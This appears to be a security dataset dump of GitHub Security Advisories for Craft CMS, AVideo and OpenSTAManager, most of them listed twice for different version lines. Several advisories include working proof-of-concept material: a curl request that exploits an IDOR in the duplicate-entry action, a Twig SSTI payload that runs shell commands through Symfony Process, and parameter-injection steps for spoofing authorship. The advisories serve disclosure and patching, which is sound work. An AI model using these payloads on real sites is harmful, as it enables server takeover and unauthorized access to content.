deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qc86-q28f-ggww
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: >= 4.0.0-RC1, < 4.17.0-beta.1
Patched in: 4.17.0-beta.1

Summary: Craft CMS has potential authenticated Remote Code Execution via Twig SSTI

Details:
For this to work, the attacker must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled, which is against Craft CMS' recommendations for any non-dev environment.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Alternatively, they can have a non-administrator account with `allowAdminChanges` disabled, but they must have access to the System Messages utility.

It is possible to craft a malicious payload using the Twig `map` filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE.

Users should update to the patched versions (5.8.22 and 4.16.18) to mitigate the issue.

References:

https://github.com/craftcms/cms/pull/18208
GitHub Security Advisory: GHSA-qc86-q28f-ggww
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: >= 5.0.0-RC1, < 5.9.0-beta.1
Patched in: 5.9.0-beta.1

Summary: Craft CMS has potential authenticated Remote Code Execution via Twig SSTI

Details:
For this to work, the attacker must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled, which is against Craft CMS' recommendations for any non-dev environment.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Alternatively, they can have a non-administrator account with `allowAdminChanges` disabled, but they must have access to the System Messages utility.

It is possible to craft a malicious payload using the Twig `map` filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE.

Users should update to the patched versions (5.8.22 and 4.16.18) to mitigate the issue.

References:

https://github.com/craftcms/cms/pull/18208
GitHub Security Advisory: GHSA-jxm3-pmm2-9gf6
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 4.0.0-RC1, < 4.17.0-beta.1
Patched in: 4.17.0-beta.1

Summary: Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action

Details:
## Description
The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements.
Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating **other users' entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

## Proof of Concept
### Prerequisites
- A user with "View Entries" permission on any section.

### Steps to Reproduce
1. Log in as a user with minimal permissions ("View Entries").
1. Identify the target Entry ID (e.g., via brute-force `1` to `N`).
1. Send the following cURL request:
   > Replace `craft.local`, `<Cookie>`, `<CSRF>` and `6393` (which is the entry ID):
   ```bash
   curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'
   ```
1. Observe that a new entry is created with the attacker as the owner, granting full access to the content.

## Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d
GitHub Security Advisory: GHSA-jxm3-pmm2-9gf6
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 5.0.0-RC1, < 5.9.0-beta.1
Patched in: 5.9.0-beta.1

Summary: Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action

Details:
## Description
The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements.
Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating **other users' entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

## Proof of Concept
### Prerequisites
- A user with "View Entries" permission on any section.

### Steps to Reproduce
1. Log in as a user with minimal permissions ("View Entries").
1. Identify the target Entry ID (e.g., via brute-force `1` to `N`).
1. Send the following cURL request:
   > Replace `craft.local`, `<Cookie>`, `<CSRF>` and `6393` (which is the entry ID):
   ```bash
   curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'
   ```
1. Observe that a new entry is created with the attacker as the owner, granting full access to the content.

## Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d
GitHub Security Advisory: GHSA-5fvc-7894-ghp4
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: >= 4.0.0-RC1, < 4.17.0-beta.1
Patched in: 4.17.0-beta.1

Summary: Craft CMS has Twig Function Blocklist Bypass

Details:
Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.

In order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.

Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.

Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.

https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096

This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.

Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.

## Resources

https://github.com/craftcms/cms/pull/18208
GitHub Security Advisory: GHSA-5fvc-7894-ghp4
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: >= 5.0.0-RC1, < 5.9.0-beta.1
Patched in: 5.9.0-beta.1

Summary: Craft CMS has Twig Function Blocklist Bypass

Details:
Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.

In order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.

Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.

Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.

https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096

This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.

Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.

## Resources

https://github.com/craftcms/cms/pull/18208
GitHub Security Advisory: GHSA-2xfc-g69j-x2mp
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key, CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnerable versions: >= 4.0.0-RC1, < 4.17.0-beta.1
Patched in: 4.17.0-beta.1

Summary: Craft CMS: Entries Authorship Spoofing via Mass Assignment

Details:
## Description
The entry creation process allows for **Mass Assignment** of the `authorId` attribute. A user with "Create Entries" permission can inject the `authorIds[]` (or `authorId`) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others.

Normally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively "spoofs" the authorship.

## Proof of Concept
### Prerequisites
- A user account with "Create Entries" permission for a section.
- Victim's account ID (e.g., `1` for the default Admin).

### Steps to Reproduce
1. Log in as the attacker
1. Navigate to the "Entries" section and click "New Entry"
1. Fill in the required fields
1. Enable a proxy tool (e.g., Burp Suite) to intercept requests
1. Click "Save" & Intercept the request
1. In the request body, add a new parameter to the body params: `&authorIds[]=<Victim_ID>`
1. Forward the request
1. Log in as an admin / as with the victim account
1. Go to entries & Observe the newly created entry is listed and the author is the victim account, not the actual creator

## Impact
- A user can create entries that appear to belong to higher-privileged users, potentially bypassing review processes or gaining trust based on false authorship.
- An attacker could post malicious or inappropriate content attributed to an administrator or other trusted users.

## Resources

https://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542
https://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8
GitHub Security Advisory: GHSA-2xfc-g69j-x2mp
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key, CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Vulnerable versions: >= 5.0.0-RC1, < 5.9.0-beta.1
Patched in: 5.9.0-beta.1

Summary: Craft CMS: Entries Authorship Spoofing via Mass Assignment

Details:
## Description
The entry creation process allows for **Mass Assignment** of the `authorId` attribute. A user with "Create Entries" permission can inject the `authorIds[]` (or `authorId`) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others.

Normally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively "spoofs" the authorship.

## Proof of Concept
### Prerequisites
- A user account with "Create Entries" permission for a section.
- Victim's account ID (e.g., `1` for the default Admin).

### Steps to Reproduce
1. Log in as the attacker
1. Navigate to the "Entries" section and click "New Entry"
1. Fill in the required fields
1. Enable a proxy tool (e.g., Burp Suite) to intercept requests
1. Click "Save" & Intercept the request
1. In the request body, add a new parameter to the body params: `&authorIds[]=<Victim_ID>`
1. Forward the request
1. Log in as an admin / as with the victim account
1. Go to entries & Observe the newly created entry is listed and the author is the victim account, not the actual creator

## Impact
- A user can create entries that appear to belong to higher-privileged users, potentially bypassing review processes or gaining trust based on false authorship.
- An attacker could post malicious or inappropriate content attributed to an administrator or other trusted users.

## Resources

https://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542
https://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8
GitHub Security Advisory: GHSA-94rc-cqvm-m4pw
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: >= 4.0.0-RC1, < 4.17.0-beta.1
Patched in: 4.17.0-beta.1

Summary: Craft CMS Vulnerable to Authenticated RCE via Twig SSTI - create() function + Symfony Process gadget

Details:
There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the `create()` Twig function combined with a Symfony Process gadget chain.

This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7).

## Required Permissions

- Administrator permissions or access to System Messages utility
- `allowAdminChanges` enabled in production ([against our security recommendations](https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production))  or access to System Messages utility

## Vulnerability Details
The `create()` Twig function exposes `Craft::createObject()`, which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled `symfony/process` dependency, this enables RCE.

## Attack Vector
Admin panel → Settings → Entry Types → Title Format field

## Proof of Concept Payload

```
{% set p = create("Symfony\\Component\\Process\\Process", [["id"]])
%}{{ p.mustRun.getOutput }}
```

## Steps to Reproduce
1. Log in as admin
2. Navigate to Settings → Entry Types
3. Edit any entry type’s "Title Format" field
4. Insert the payload above
5. Create/edit an entry of that type
6. Command executes, output appears in entry title

## Impact
- Authenticated Remote Code Execution
- Runs as web server user (root in default Docker setup)
- Full server compromise

## Root Cause
Craft::createObject() allows the instantiation of any class, including
`Symfony\Component\Process\Process`, which executes shell commands.

## Suggested Fix

- Blocklist dangerous classes in createObject() when called from Twig
- Or remove/restrict the create() Twig function
- Or validate class names against an allowlist

## Resources

https://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0
GitHub Security Advisory: GHSA-94rc-cqvm-m4pw
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: >= 5.8.7, < 5.9.0-beta.1
Patched in: 5.9.0-beta.1

Summary: Craft CMS Vulnerable to Authenticated RCE via Twig SSTI - create() function + Symfony Process gadget

Details:
There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the `create()` Twig function combined with a Symfony Process gadget chain.

This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7).

## Required Permissions

- Administrator permissions or access to System Messages utility
- `allowAdminChanges` enabled in production ([against our security recommendations](https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production))  or access to System Messages utility

## Vulnerability Details
The `create()` Twig function exposes `Craft::createObject()`, which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled `symfony/process` dependency, this enables RCE.

## Attack Vector
Admin panel → Settings → Entry Types → Title Format field

## Proof of Concept Payload

```
{% set p = create("Symfony\\Component\\Process\\Process", [["id"]])
%}{{ p.mustRun.getOutput }}
```

## Steps to Reproduce
1. Log in as admin
2. Navigate to Settings → Entry Types
3. Edit any entry type’s "Title Format" field
4. Insert the payload above
5. Create/edit an entry of that type
6. Command executes, output appears in entry title

## Impact
- Authenticated Remote Code Execution
- Runs as web server user (root in default Docker setup)
- Full server compromise

## Root Cause
Craft::createObject() allows the instantiation of any class, including
`Symfony\Component\Process\Process`, which executes shell commands.

## Suggested Fix

- Blocklist dangerous classes in createObject() when called from Twig
- Or remove/restrict the create() Twig function
- Or validate class names against an allowlist

## Resources

https://github.com/craftcms/cms/commit/e31e50849ad71638e11ea55fbd1ed90ae8f8f6e0
GitHub Security Advisory: GHSA-9j26-99jh-v26q
Package: wwbn/avideo (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 7.0.0
Patched in: 7.0.0

Summary: WWBN AVideo is vulnerable to unauthenticated OS Command Injection via base64Url in objects/getImage.php

Details:
## Impact

An unauthenticated attacker can execute arbitrary OS commands on the server by injecting shell command substitution into the `base64Url` GET parameter. This can lead to full server compromise, data exfiltration (e.g., configuration secrets, internal keys, credentials), and service disruption.

## Root Cause

The `base64Url` parameter is Base64-decoded and then interpolated directly into a double-quoted `ffmpeg` shell command without proper shell escaping. The upstream validation uses `FILTER_VALIDATE_URL`, which validates URL syntax but does not prevent shell metacharacters / command substitution sequences from being interpreted by the shell.

## Affected Components

* `objects/getImage.php`
* `objects/security.php`
* Execution path via async command execution helper (`shell_exec`/`nohup`)

## Patches

Apply strict shell argument escaping (e.g., `escapeshellarg()`) to all user-supplied values before building any shell command, and avoid double-quoted interpolation of untrusted input. Prefer safer process execution patterns where possible.

## Workarounds

* Restrict access to `objects/getImage.php` at the web server / reverse proxy layer (IP allowlist, auth, or disable endpoint if not needed).
* Apply WAF rules to block suspicious patterns and limit exposure until a patch is deployed.

## Resources

* Report: "Unauthenticated OS Command Injection in AVideo-Encoder"
GitHub Security Advisory: GHSA-247v-7cw6-q57v
Package: devcode-it/openstamanager (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 2.9.8
Patched in: unpatched

Summary: OpenSTAManager affected by unauthenticated privilege escalation via modules/utenti/actions.php

Details:
### Summary
A privilege escalation and authentication bypass vulnerability in OpenSTAManager allows any attacker to arbitrarily change a user's group (`idgruppo`) by directly calling `modules/utenti/actions.php`. This can promote an existing account (e.g. agent) into the Amministratori group as well as demote any user including existing administrators.

### Details
`modules/utenti/actions.php` is reachable directly via `http://<IP>:8080/modules/utenti/actions.php` and processes privileged information without requiring any authentication or authorization checks on fields like idgruppo. As a result, an attacker can submit a crafted POST request that updates the targets record and assigns it to the administrator group.

The file explicitly sets:
```PHP
$skip_permissions = true;
include_once __DIR__.'/../../core.php';
```
`core.php` then invokes:

```PHP
Permissions::skip();
```
Thus, disabling any authentication and permission enforcement. As a result, this file processes operations based on the `op` parameter in the POST request, not only `update_user`. Sensitive fields like `idgruppo` and others can be updated without verifying anything.

### PoC
A target username exists, such as "agent" with an ID of 4. No authentication or cookies are required. Send the following POST request via Burp Suite or similar:
<img width="1094" height="255" alt="image" src="https://github.com/user-attachments/assets/2e8cb148-1b5d-4e5c-9c73-05ed75d64188" />
The target's group is updated in the database.
Verify the changes in the database before and after the POST request:
<img width="1053" height="430" alt="image" src="https://github.com/user-attachments/assets/49f63ca0-8a04-4dd1-b27c-69699d2ce26f" />
Changes also visible in the administrator panel, they have been moved from the Agenti group to Amministratori.

### Impact
An unauthenticated attacker can assign administrator privileges to existing users, modify group memberships, enable/disable accounts and other operations that are exposed in the file. This can lead to a full compromise of the application.